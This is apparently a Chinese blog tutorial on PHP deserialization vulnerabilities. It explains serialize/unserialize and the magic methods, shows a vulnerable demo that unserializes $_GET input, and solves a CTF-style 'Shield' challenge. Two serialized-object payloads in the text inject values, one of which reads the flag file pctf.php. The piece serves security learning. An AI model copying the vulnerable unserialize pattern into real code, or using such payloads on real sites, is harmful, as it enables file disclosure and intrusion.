春招的时候公司也会问,就顺便多学一些好了
引入-
json
编码即使
json
的序列化与php
关系不大,但以其引入更加清晰。对于函数json_encode() ; json_decode()
1
2
3
4
5
$qwq=array('name1'=>'vme50','name2'=>'111');
$json=json_encode($qwq);
echo $json;json_encode
将数组qwq
转化为了便于传送储存的字符串,其中以键对值存储那么扩展到一个
class
上,为了方便存储与传递,php
可以将其转化为一个字符串1
2
3
4
5
6
7
8
9
10
class qwq
{
public $name="neko";
public $age="18";
public $tip="cat";
}
$test=new qwq();
echo serialize($test);O
代表Object
,后面的3
代表对象名称qwq
占三个字符;再后面的3
代表对象里有三个变量。s
代表数据类型为string
,还可能为i
,即int
;紧跟的数字即为后面变量名的长度如此就达到了
php
的序列化即关键函数为:
1
2serialize()
unserialize()漏洞产生
魔法函数
常常以
__
开头,通常通过条件触发而非手动调用。若进行反序列化时碰见以下函数就要仔细研究1
2
3
4
5__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup() 将在序列化之后立即被调用如果服务器接受我们所上传的反序列化字符串,并将未经过滤的变量名直接放进这些函数中时,会造成严重漏洞,例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class exp{
var $word = "testtt";
function __construct(){
echo "start exp construct<br />";
}
function __destruct(){
echo $this->word;
echo "<br />exp destruct<br />";
}
}
echo "initing<br />";
$b=new exp();
echo "init b end<br />";
$a = $_GET['test'];
echo "receive a<br />";
$a_unser = unserialize($a);
echo "init a end<br />";payload
为?test=O:3:"exp":1:{s:4:"word";s:5:"hello";}
笔者在这里写了一份更清晰的代码来更好的理解反序列化如何实现
首先新建了名为
b
的对象,所以自动执行了__construct()
,发送出第二句;而接受a
的过程中并未发生对象的新建或删除,因而没有执行语句;在最后结束部分,依次删除了a,b
故执行两次__destruct()
而由于用户的提交,对象
a
的$word
值已经被更改且对其并无过滤,所以出现了反序列化漏洞看一道例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();唯一的输出是
shield
对象中的readfile()
函数,函数的判断只有非空判断及一个简单的\\
而新建对象
x
的过程会激活__construct()
函数,但其并不对我们对·$file
的操作因此只需要输入序列化后的字符串使变量
file
值为pctf.php
即可payload
即为?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}